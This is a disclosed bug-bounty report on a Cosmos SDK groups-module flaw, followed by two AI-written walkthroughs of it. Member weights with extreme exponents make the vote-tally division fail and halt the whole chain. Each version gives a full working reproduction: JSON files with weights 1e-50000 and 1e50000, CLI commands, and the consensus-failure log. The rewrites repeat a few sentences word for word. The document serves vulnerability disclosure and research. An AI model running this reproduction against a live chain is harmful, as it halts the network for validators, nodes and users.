Skip to content
DoS Disclosed report Advanced

Groups module can halt chain when handling a proposal with malicious group weights

The groups module allowed group member weights with extreme exponents, causing a decimal division error when tallying votes. An attacker could create a group with such weights and submit a proposal, halting the chain when the vote is tallied.

vakzz Follow

Originally disclosed on HackerOne

Bounty$15,000 High View original
  • Disclosed after 54 days

Summary of Impact

After having a look into the patch for https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-x5vx-95h7-rv4p I discovered a very similar bug.

The original error was due to a divide by zero at https://github.com/cosmos/cosmos-sdk/blob/v0.50.12/x/group/types.go#L215 when the total power was zero.

Go
yesPercentage, err := yesCount.Quo(totalPowerDec)

The patch prevented groups from having zero power and also added a guard to the division:

Go
if totalPowerDec.IsZero() {
        return DecisionPolicyResult{Allow: false, Final: true}, nil
}
yesPercentage, err := yesCount.Quo(totalPowerDec)

The issue is that there are other ways that Quo can fail, such as if the exponent of the resulting value is out of range: https://github.com/cockroachdb/apd/blob/master/decimal.go#L293-L309

GOLANG
// setExponent sets d's Exponent to the sum of xs. Each value and the sum
// of xs must fit within an int32. An error occurs if the sum is outside of
// the MaxExponent or MinExponent range. res is any Condition previously set
// for this operation, which can cause Underflow to be set if, for example,
// Inexact is already set.
func (d *Decimal) setExponent(c *Context, res Condition, xs ...int64) Condition {
    var sum int64
    for _, x := range xs {
        if x > MaxExponent {
            return SystemOverflow | Overflow
        }
        if x < MinExponent {
            return SystemUnderflow | Underflow
        }
        sum += x
    }
    r := int32(sum)

Since there are no limits on group member weight, it's possible to trigger this failure by having two members with weights of "1e-50000" and "1e50000". If the user with the tiny weight votes yes, yesCount.Quo(totalPowerDec) will return an error decimal quotient error: exponent out of range and cause a chain halt when doTallyAndUpdate is called from the EndBlocker.

Steps to Reproduce

Create a new chain with ignite:

Bash
ignite scaffold chain example
cd example
ignite chain serve

#  Cosmos SDK's version is: v0.50.12

Create the following two json files using the addressed created by ignite server:

members.json

JSON
{
    "members": [
        {
            "address": "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0",
            "weight": "1e-50000"
        },
        {
            "address": "cosmos18v59wacnwz89qphdez62m6nn7qse8mgfr7m0lk",
            "weight": "1e50000"
        }
    ]
}

policy.json

JSON
{
    "@type": "/cosmos.group.v1.PercentageDecisionPolicy",
    "percentage": "0.5",
    "windows": {
        "voting_period": "10s",
        "min_execution_period": "20s"
    }
}

Create the group and transfer some funds to the policy address for testing:

Bash
exampled tx group create-group-with-policy cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0 "" "" members.json policy.json --gas auto --yes
exampled q group group-policies-by-admin cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0
exampled tx bank send cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0 cosmos17pmq7hp4upvmmveqexzuhzu64v36re3w3447n7dt46uwp594wtpsqv4fn5 100stake --gas auto --yes

Create a new proposal file:

proposal.json

{
    "group_policy_address": "cosmos17pmq7hp4upvmmveqexzuhzu64v36re3w3447n7dt46uwp594wtpsqv4fn5",
    "messages": [
        {
            "@type": "/cosmos.bank.v1beta1.MsgSend",
            "from_address": "cosmos17pmq7hp4upvmmveqexzuhzu64v36re3w3447n7dt46uwp594wtpsqv4fn5",
            "to_address": "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0",
            "amount": [
                {
                    "denom": "stake",
                    "amount": "10"
                }
            ]
        }
    ],
    "metadata": "",
    "title": "crash",
    "summary": "crash",
    "proposers": [
        "cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0"
    ]
}

Submit and vote for the proposal

exampled tx group submit-proposal proposal.json --gas auto --yes
exampled tx group vote 1 cosmos14xzyhnr8w098awcf8l6t57qw3qlhcwsntytvm0 VOTE_OPTION_YES "" --gas auto --yes

Chain halts:

[EXAMPLED] 11:20PM ERR error in proxyAppConn.FinalizeBlock err="doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range" module=state
[EXAMPLED] 11:20PM ERR CONSENSUS FAILURE!!! err="failed to apply block; error doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range [cockroachdb/apd/[email protected]/condition.go:107]" module=consensus stack="goroutine 80 [running]:\nruntime/debug.Stack()\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/debug/stack.go:26 +0x64\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:801 +0x4c\npanic({0x109639ae0?, 0x14001246280?})\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/panic.go:785 +0xf0\ngithub.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:1781 +0x1030\ngithub.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:1682 +0x2c0\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:1617 +0xb8\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit(0x14001751c08, 0x5c6, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:1655 +0xd90\ngithub.com/cometbft/cometbft/consensus.(*State).addVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:2343 +0x2a58\ngithub.com/cometbft/cometbft/consensus.(*State).tryAddVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:2067 +0x50\ngithub.com/cometbft/cometbft/consensus.(*State).handleMsg(0x14001751c08, {{0x109ca2080, 0x140017185d0}, {0x0, 0x0}})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:929 +0x5c0\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0x14001751c08, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:856 +0x5fc\ncreated by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 1\n\t/Users/will/go/pkg/mod/github.com/cometbft/[email protected]/consensus/state.go:398 +0x1e4\n"
[EXAMPLED] 11:20PM INF service stop impl=baseWAL module=consensus msg="Stopping baseWAL service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF service stop impl=Group module=consensus msg="Stopping Group service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF Timed out dur=1000 height=1478 module=consensus round=0 step=RoundStepPropose

Workarounds

I think a patch/update will need to be applied to fix the issue.

Supporting Material/References

Criticality: High (Considerable Impact; Likely Likelihood per ACMv1.2) Affected users: Validators, Full nodes, Users on chains that utilize the groups module

Impact

A malicious user that can interact with the groups module can cause the entire chain to halt. Any chain that utilizes the groups module is affected.

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The Cosmos SDK ships an x/group module that lets a set of accounts act collectively. A group is defined by its members and their integer weights, and a group policy wraps a decision policy that decides when a proposal passes. One of the built-in decision policies is PercentageDecisionPolicy, which stores a percentage and two time windows (voting_period and min_execution_period). When a proposal's voting period ends, the module tallies the votes and asks the policy whether the proposal is allowed to execute.

The tally logic lives in x/group/types.go. For the percentage policy it computes the share of yes votes against the total voting power and compares that share with the configured percentage. The report targets Cosmos SDK v0.50.12 and builds on an earlier advisory, GHSA-x5vx-95h7-rv4p, which had already been patched.

Setup

The researcher worked from a freshly scaffolded chain, so the only precondition is a chain that uses the groups module and a funded account that can create a group and submit proposals. The chain was created with Ignite, which pins the SDK version:

Bash
ignite scaffold chain example
cd example
ignite chain serve

#  Cosmos SDK's version is: v0.50.12

Two member accounts were used, one with an extremely small weight and one with an extremely large weight. The addresses in the report are test-chain addresses created by Ignite.

Finding it

The starting point was the patch for GHSA-x5vx-95h7-rv4p. The original bug there was a divide by zero at x/group/types.go#L215 when the total voting power was zero:

Go
yesPercentage, err := yesCount.Quo(totalPowerDec)

The patch did two things: it stopped groups from having zero power, and it added a guard in front of the division:

Go
if totalPowerDec.IsZero() {
        return DecisionPolicyResult{Allow: false, Final: true}, nil
}
yesPercentage, err := yesCount.Quo(totalPowerDec)

Looking at that guard, the researcher noticed it only covers one failure mode of Quo. The underlying decimal library, cockroachdb/apd, can fail the division for other reasons, in particular when the exponent of the result falls outside the supported range. The relevant code in decimal.go:

GOLANG
// setExponent sets d's Exponent to the sum of xs. Each value and the sum
// of xs must fit within an int32. An error occurs if the sum is outside of
// the MaxExponent or MinExponent range. res is any Condition previously set
// for this operation, which can cause Underflow to be set if, for example,
// Inexact is already set.
func (d *Decimal) setExponent(c *Context, res Condition, xs ...int64) Condition {
    var sum int64
    for _, x := range xs {
        if x > MaxExponent {
            return SystemOverflow | Overflow
        }
        if x < MinExponent {
            return SystemUnderflow | Underflow
        }
        sum += x
    }
    r := int32(sum)

Because group member weights are not bounded, a member weight can be written in scientific notation with an exponent far outside the normal range. Two members with weights "1e-50000" and "1e50000" are enough to make the quotient's exponent leave the allowed range. If the member with the tiny weight votes yes, yesCount.Quo(totalPowerDec) returns the error decimal quotient error: exponent out of range. That error is not handled as a policy decision, so it propagates out of doTallyAndUpdate, which the EndBlocker calls, and the node panics.

Exploitation

Step 1: define the members

Two members are placed in members.json, one with a weight of 1e-50000 and one with 1e50000:

JSON
{
    "members": [
        {
            "address": "[redacted]",
            "weight": "1e-50000"
        },
        {
            "address": "[redacted]",
            "weight": "1e50000"
        }
    ]
}

The weights are strings parsed as decimals, so the exponent is accepted as part of the value. The tiny weight is the one that will vote yes; the huge weight supplies the total power that the yes count is divided by.

Step 2: define the decision policy

policy.json uses a percentage policy with a threshold of 0.5 and short windows so the tally runs quickly:

JSON
{
    "@type": "/cosmos.group.v1.PercentageDecisionPolicy",
    "percentage": "0.5",
    "windows": {
        "voting_period": "10s",
        "min_execution_period": "20s"
    }
}

Step 3: create the group and fund the policy account

The group and policy are created in one transaction, the policy address is looked up, and funds are sent to it so there is something for a proposal to move:

Bash
exampled tx group create-group-with-policy [redacted] "" "" members.json policy.json --gas auto --yes
exampled q group group-policies-by-admin [redacted]
exampled tx bank send [redacted] [redacted] 100stake --gas auto --yes

The policy address appears in the funding transaction and in the proposal.

Step 4: build the proposal

proposal.json contains a single MsgSend from the policy address back to the small-weight member, proposed by that same member:

{
    "group_policy_address": "[redacted]",
    "messages": [
        {
            "@type": "/cosmos.bank.v1beta1.MsgSend",
            "from_address": "[redacted]",
            "to_address": "[redacted]",
            "amount": [
                {
                    "denom": "stake",
                    "amount": "10"
                }
            ]
        }
    ],
    "metadata": "",
    "title": "crash",
    "summary": "crash",
    "proposers": [
        "[redacted]"
    ]
}

Step 5: submit and vote yes with the tiny weight

The proposal is submitted and the member holding 1e-50000 votes yes:

exampled tx group submit-proposal proposal.json --gas auto --yes
exampled tx group vote 1 [redacted] VOTE_OPTION_YES "" --gas auto --yes

When the 10 second voting period ends, the EndBlocker calls doTallyAndUpdate, the policy evaluates the tally, and the division fails. The chain halts with:

[EXAMPLED] 11:20PM ERR error in proxyAppConn.FinalizeBlock err="doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range" module=state
[EXAMPLED] 11:20PM ERR CONSENSUS FAILURE!!! err="failed to apply block; error doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range [cockroachdb/apd/[redacted]/condition.go:107]" module=consensus stack="goroutine 80 [running]:\nruntime/debug.Stack()\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/debug/stack.go:26 +0x64\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:801 +0x4c\npanic({0x109639ae0?, 0x14001246280?})\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/panic.go:785 +0xf0\ngithub.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1781 +0x1030\ngithub.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1682 +0x2c0\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1617 +0xb8\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit(0x14001751c08, 0x5c6, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1655 +0xd90\ngithub.com/cometbft/cometbft/consensus.(*State).addVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:2343 +0x2a58\ngithub.com/cometbft/cometbft/consensus.(*State).tryAddVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:2067 +0x50\ngithub.com/cometbft/cometbft/consensus.(*State).handleMsg(0x14001751c08, {{0x109ca2080, 0x140017185d0}, {0x0, 0x0}})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:929 +0x5c0\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0x14001751c08, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:856 +0x5fc\ncreated by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 1\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:398 +0x1e4\n"
[EXAMPLED] 11:20PM INF service stop impl=baseWAL module=consensus msg="Stopping baseWAL service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF service stop impl=Group module=consensus msg="Stopping Group service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF Timed out dur=1000 height=1478 module=consensus round=0 step=RoundStepPropose

The error surfaces during FinalizeBlock, and the chain halts.

Root cause

The percentage decision policy assumes that dividing the yes count by the total power either succeeds or fails only when the total power is zero. The earlier patch enforced exactly that assumption. In reality Quo can also fail when the exponent of the result is out of range, and the policy does not treat that error as a normal "do not allow" outcome. The error is returned up through doTallyAndUpdate and reaches the consensus layer, where it becomes a panic.

The enabling condition is that member weights are unbounded. Nothing in the group creation path restricts the magnitude or exponent of a weight, so a member can be given a value like 1e-50000 or 1e50000. Combining a tiny yes weight with a huge total power produces a quotient whose exponent is outside the range the decimal library accepts.

Impact

A malicious user who can interact with the groups module can halt the entire chain. Any chain that uses the groups module is affected, and the affected parties named in the report are validators, full nodes and users on those chains. The report rates criticality as High, with considerable impact and likely likelihood under the Interchain classification matrix. A malicious user who can interact with the groups module can halt the chain.

Fix

The report does not describe a specific patch. The author states that a patch or update will need to be applied to fix the issue. The report itself only calls for a patch or update.

Variants to test

  • Other decision policies that perform decimal arithmetic on member weights or vote counts. A positive result is an unhandled error from the decimal library reaching the EndBlocker.
  • Other inputs to Quo and related decimal operations where the exponent can be pushed out of range, for example through weights expressed in scientific notation with very large or very small exponents.
  • Group creation paths that accept weights without validation, including any CLI or message-level route that bypasses a check present elsewhere. A positive result is a group that exists on chain with a weight the tally cannot handle.
  • Tally paths triggered by different vote combinations, such as a tiny-weight yes vote against a huge total, or the reverse. A positive result is the same exponent out of range error in node logs.

Hunting notes

This bug sits at the boundary between a patched vulnerability and its siblings: the researcher read the fix for a divide-by-zero and asked which other errors the same call could return. That is a productive habit on any codebase with a recent security advisory, because fixes tend to guard the reported symptom rather than the whole failure surface of the underlying library.

During recon, look for modules that accept user-supplied numeric values as strings and feed them into arbitrary-precision decimal arithmetic, especially where those values influence consensus-critical state transitions such as EndBlocker tallies. Unbounded weights, percentages and thresholds are the signals. The impact was demonstrated by reproducing a full chain halt on a scaffolded chain with the exact SDK version, including the node log showing the consensus failure.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A blockchain is a shared ledger that many computers (called nodes) keep copies of. They all have to agree, block by block, on what happened. If nodes fail while processing the same block, they cannot agree, and the whole network can stop. That is called a chain halt.

Cosmos is a framework for building blockchains. One of its optional building blocks is the groups module: it lets a set of accounts act together, like a club where members vote on proposals and the club acts only when enough voting weight says yes. Each member has a weight, a number that says how much their vote counts.

This report shows that a member weight can be set to an absurdly tiny or absurdly huge number, written in a special shorthand. When the club counts the votes, it divides one number by another, and with those extreme weights the division fails. The failure is not handled as a normal "proposal rejected" outcome. Instead it bubbles up and crashes every node at the same moment, halting the chain.

The researcher found this by reading the fix for an earlier, similar bug and asking a simple question: what other ways can that same division fail?

Context

What the product is

The Cosmos SDK is a toolkit for building blockchains. It ships with optional features called modules. The one in this report is x/group, the groups module.

What the groups module does

A group is a set of accounts, each with an integer weight. A group policy wraps a decision policy, which is the rule that decides when a proposal passes. One built-in decision policy is PercentageDecisionPolicy. It stores:

  • a percentage, the share of yes votes needed to pass;
  • a voting_period, how long people can vote;
  • a min_execution_period, a waiting window before execution.

When a proposal's voting period ends, the module counts the votes and asks the policy whether the proposal may execute.

Where the counting happens

The tally logic lives in x/group/types.go. For the percentage policy it computes the share of yes votes against the total voting power, then compares that share with the configured percentage. The report targets Cosmos SDK v0.50.12 and builds on an earlier advisory, GHSA-x5vx-95h7-rv4p, which had already been patched.

Setup

The researcher started from a freshly scaffolded chain, so the only precondition is a chain that uses the groups module and a funded account that can create a group and submit proposals. The chain was created with Ignite, a tool that generates and runs a test blockchain, and Ignite pins the SDK version:

Bash
ignite scaffold chain example
cd example
ignite chain serve

#  Cosmos SDK's version is: v0.50.12

Line by line:

  1. ignite scaffold chain example generates a brand new blockchain project called example, with its own command-line tool.
  2. cd example moves into that project folder.
  3. ignite chain serve builds and runs the chain locally, so you have a working network to experiment on.
  4. The comment records that this setup uses Cosmos SDK version v0.50.12, the version the bug affects.

Two member accounts were used, one with an extremely small weight and one with an extremely large weight. The addresses in the report are test-chain addresses.

Finding it

The starting point was the patch for GHSA-x5vx-95h7-rv4p. The original bug there was a divide by zero at x/group/types.go#L215 when the total voting power was zero:

Go
yesPercentage, err := yesCount.Quo(totalPowerDec)

In plain words: take the number of yes votes (yesCount) and divide it (Quo is short for quotient) by the total voting power (totalPowerDec). If the total power is zero, dividing by it is impossible, just as you cannot split a pizza among zero people.

The patch did two things: it stopped groups from having zero power, and it added a guard in front of the division:

Go
if totalPowerDec.IsZero() {
        return DecisionPolicyResult{Allow: false, Final: true}, nil
}
yesPercentage, err := yesCount.Quo(totalPowerDec)

Line by line:

  1. if totalPowerDec.IsZero() { checks whether the total power is zero.
  2. return DecisionPolicyResult{Allow: false, Final: true}, nil answers "do not allow this proposal, and this decision is final", with no error.
  3. The closing brace ends the check.
  4. The division then runs only when the total power is not zero.

Looking at that guard, the researcher noticed it only covers one failure mode of Quo. The underlying decimal library, cockroachdb/apd, is a piece of software for doing precise arithmetic with very large or very small numbers. It can fail the division for other reasons, in particular when the exponent of the result falls outside the supported range. An exponent is the small raised number in scientific notation: in 1e50000, the exponent is 50000, meaning "1 followed by 50,000 zeros". The relevant code in decimal.go:

GOLANG
// setExponent sets d's Exponent to the sum of xs. Each value and the sum
// of xs must fit within an int32. An error occurs if the sum is outside of
// the MaxExponent or MinExponent range. res is any Condition previously set
// for this operation, which can cause Underflow to be set if, for example,
// Inexact is already set.
func (d *Decimal) setExponent(c *Context, res Condition, xs ...int64) Condition {
    var sum int64
    for _, x := range xs {
        if x > MaxExponent {
            return SystemOverflow | Overflow
        }
        if x < MinExponent {
            return SystemUnderflow | Underflow
        }
        sum += x
    }
    r := int32(sum)

Line by line:

  1. The comment explains that this function sets a number's exponent to the sum of the given values, and that each value and the sum must fit within a 32-bit integer (int32). If the sum is outside the allowed maximum or minimum, an error occurs.
  2. func (d *Decimal) setExponent(...) declares the function, which belongs to a decimal number and takes a context, a condition and a list of exponents.
  3. var sum int64 creates a running total, starting at zero.
  4. for _, x := range xs { loops over each exponent in the list.
  5. if x > MaxExponent { checks whether this exponent is above the allowed maximum.
  6. return SystemOverflow | Overflow reports an overflow error if it is.
  7. if x < MinExponent { checks whether it is below the allowed minimum.
  8. return SystemUnderflow | Underflow reports an underflow error if it is.
  9. sum += x adds the exponent to the running total.
  10. The closing brace ends the loop.
  11. r := int32(sum) squeezes the total into a 32-bit integer.

Because group member weights are not bounded, a member weight can be written in scientific notation with an exponent far outside the normal range. Two members with weights "1e-50000" and "1e50000" are enough to make the quotient's exponent leave the allowed range. If the member with the tiny weight votes yes, yesCount.Quo(totalPowerDec) returns the error decimal quotient error: exponent out of range. That error is not handled as a policy decision, so it propagates out of doTallyAndUpdate, which the EndBlocker calls, and the node panics.

Two terms worth knowing here. The EndBlocker is a piece of code that runs automatically at the end of every block, like a checkout clerk who closes the till after each customer. A panic is a program crashing on purpose because it hit a situation it cannot handle.

Exploitation

Step 1: define the members

Two members are placed in members.json, one with a weight of 1e-50000 and one with 1e50000:

JSON
{
    "members": [
        {
            "address": "[redacted]",
            "weight": "1e-50000"
        },
        {
            "address": "[redacted]",
            "weight": "1e50000"
        }
    ]
}

Line by line:

  1. The outer braces open a JSON object, a way of writing structured data as text.
  2. "members" is a list of the group's members.
  3. The first member has an address, the account identifier, and a weight of "1e-50000", which means 1 divided by 10 to the power 50,000: an unimaginably tiny number.
  4. The second member has a weight of "1e50000", which means 1 followed by 50,000 zeros: an unimaginably huge number.

The weights are strings parsed as decimals, so the exponent is accepted as part of the value. The tiny weight is the one that will vote yes; the huge weight supplies the total power that the yes count is divided by.

Step 2: define the decision policy

policy.json uses a percentage policy with a threshold of 0.5 and short windows so the tally runs quickly:

JSON
{
    "@type": "/cosmos.group.v1.PercentageDecisionPolicy",
    "percentage": "0.5",
    "windows": {
        "voting_period": "10s",
        "min_execution_period": "20s"
    }
}

Line by line:

  1. "@type" tells the software which kind of policy this is: a percentage decision policy from the group module.
  2. "percentage": "0.5" means a proposal needs 50 percent of the voting power to pass.
  3. "windows" holds the time settings.
  4. "voting_period": "10s" gives voters 10 seconds to cast their votes.
  5. "min_execution_period": "20s" sets a 20 second minimum wait before execution.

Step 3: create the group and fund the policy account

The group and policy are created in one transaction, the policy address is looked up, and funds are sent to it so there is something for a proposal to move:

Bash
exampled tx group create-group-with-policy [redacted] "" "" members.json policy.json --gas auto --yes
exampled q group group-policies-by-admin [redacted]
exampled tx bank send [redacted] [redacted] 100stake --gas auto --yes

Line by line:

  1. exampled tx group create-group-with-policy ... sends a transaction (tx) that creates a group and its policy in one go. exampled is the command-line tool generated for the example chain. The first address is the admin, and members.json and policy.json are the files from steps 1 and 2. and members.json and policy.json are the files from steps 1 and 2. --gas auto lets the tool estimate the fee, and --yes skips the confirmation prompt.
  2. exampled q group group-policies-by-admin ... is a query (q), not a transaction: it asks the chain which policies the given admin controls. This is how the researcher learns the policy's own address.
  3. exampled tx bank send ... 100stake ... sends 100 units of the test token stake from the researcher's account to the policy address, so the policy has funds a proposal could move.

The policy address appears in the funding transaction and in the proposal.

Step 4: build the proposal

proposal.json contains a single MsgSend from the policy address back to the small-weight member, proposed by that same member:

{
    "group_policy_address": "[redacted]",
    "messages": [
        {
            "@type": "/cosmos.bank.v1beta1.MsgSend",
            "from_address": "[redacted]",
            "to_address": "[redacted]",
            "amount": [
                {
                    "denom": "stake",
                    "amount": "10"
                }
            ]
        }
    ],
    "metadata": "",
    "title": "crash",
    "summary": "crash",
    "proposers": [
        "[redacted]"
    ]
}

Line by line:

  1. "group_policy_address" is the policy account that would carry out the proposal.
  2. "messages" is the list of actions the proposal would perform if it passed.
  3. "@type": "/cosmos.bank.v1beta1.MsgSend" says the action is a bank send, a transfer of tokens.
  4. "from_address" is the policy account sending the tokens.
  5. "to_address" is the tiny-weight member receiving them.
  6. "amount" lists what is sent: 10 units of stake.
  7. "metadata", "title" and "summary" are descriptive fields; here the title and summary are simply crash.
  8. "proposers" lists who submits the proposal: the tiny-weight member.

Step 5: submit and vote yes with the tiny weight

The proposal is submitted and the member holding 1e-50000 votes yes:

exampled tx group submit-proposal proposal.json --gas auto --yes
exampled tx group vote 1 [redacted] VOTE_OPTION_YES "" --gas auto --yes

Line by line:

  1. exampled tx group submit-proposal proposal.json ... sends the proposal from step 4 to the chain. The proposal gets the number 1.
  2. exampled tx group vote 1 ... VOTE_OPTION_YES ... casts a yes vote on proposal 1 from the tiny-weight member. The empty string is the vote metadata.

When the 10 second voting period ends, the EndBlocker calls doTallyAndUpdate, the policy evaluates the tally, and the division fails. The chain halts with:

[EXAMPLED] 11:20PM ERR error in proxyAppConn.FinalizeBlock err="doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range" module=state
[EXAMPLED] 11:20PM ERR CONSENSUS FAILURE!!! err="failed to apply block; error doTallyAndUpdate: policy allow: decimal quotient error: exponent out of range [cockroachdb/apd/[redacted]/condition.go:107]" module=consensus stack="goroutine 80 [running]:\nruntime/debug.Stack()\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/debug/stack.go:26 +0x64\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine.func2()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:801 +0x4c\npanic({0x109639ae0?, 0x14001246280?})\n\t/opt/homebrew/Cellar/go/1.23.2/libexec/src/runtime/panic.go:785 +0xf0\ngithub.com/cometbft/cometbft/consensus.(*State).finalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1781 +0x1030\ngithub.com/cometbft/cometbft/consensus.(*State).tryFinalizeCommit(0x14001751c08, 0x5c6)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1682 +0x2c0\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit.func1()\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1617 +0xb8\ngithub.com/cometbft/cometbft/consensus.(*State).enterCommit(0x14001751c08, 0x5c6, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:1655 +0xd90\ngithub.com/cometbft/cometbft/consensus.(*State).addVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:2343 +0x2a58\ngithub.com/cometbft/cometbft/consensus.(*State).tryAddVote(0x14001751c08, 0x14002549040, {0x0, 0x0})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:2067 +0x50\ngithub.com/cometbft/cometbft/consensus.(*State).handleMsg(0x14001751c08, {{0x109ca2080, 0x140017185d0}, {0x0, 0x0}})\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:929 +0x5c0\ngithub.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0x14001751c08, 0x0)\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:856 +0x5fc\ncreated by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 1\n\t/Users/will/go/pkg/mod/github.com/cometbft/[redacted]/consensus/state.go:398 +0x1e4\n"
[EXAMPLED] 11:20PM INF service stop impl=baseWAL module=consensus msg="Stopping baseWAL service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF service stop impl=Group module=consensus msg="Stopping Group service" wal=/Users/will/.example/data/cs.wal/wal
[EXAMPLED] 11:20PM INF Timed out dur=1000 height=1478 module=consensus round=0 step=RoundStepPropose

What the log says, in plain words:

  1. The first line reports an error while finalising a block: the tally step failed with decimal quotient error: exponent out of range.
  2. The second line is the consensus failure itself, with a stack trace, a list of the function calls that led to the crash. It shows the panic happening inside the consensus code.
  3. The next two lines show services stopping, including the write-ahead log (baseWAL), a file where the node records data before committing it.
  4. The last line shows the node timing out waiting for the next round of consensus.

The error surfaces during FinalizeBlock, and the chain halts.

Root cause

The percentage decision policy assumes that dividing the yes count by the total power either succeeds or fails only when the total power is zero. The earlier patch enforced exactly that assumption. In reality Quo can also fail when the exponent of the result is out of range, and the policy does not treat that error as a normal "do not allow" outcome. The error is returned up through doTallyAndUpdate and reaches the consensus layer, where it becomes a panic.

The enabling condition is that member weights are unbounded. Nothing in the group creation path restricts the magnitude or exponent of a weight, so a member can be given a value like 1e-50000 or 1e50000. Combining a tiny yes weight with a huge total power produces a quotient whose exponent is outside the range the decimal library accepts.

Impact

A malicious user who can interact with the groups module can halt the entire chain. Any chain that uses the groups module is affected, and the affected parties named in the report are validators, full nodes and users on those chains. The report rates criticality as High, with considerable impact and likely likelihood under the Interchain classification matrix. A malicious user who can interact with the groups module can halt the chain.

Fix

The report does not describe a specific patch. The author states that a patch or update will need to be applied to fix the issue. The report itself only calls for a patch or update.

Variants to test

  • Other decision policies that perform decimal arithmetic on member weights or vote counts. A positive result is an unhandled error from the decimal library reaching the EndBlocker.
  • Other inputs to Quo and related decimal operations where the exponent can be pushed out of range, for example through weights expressed in scientific notation with very large or very small exponents.
  • Group creation paths that accept weights without validation, including any CLI or message-level route that bypasses a check present elsewhere. A positive result is a group that exists on chain with a weight the tally cannot handle.
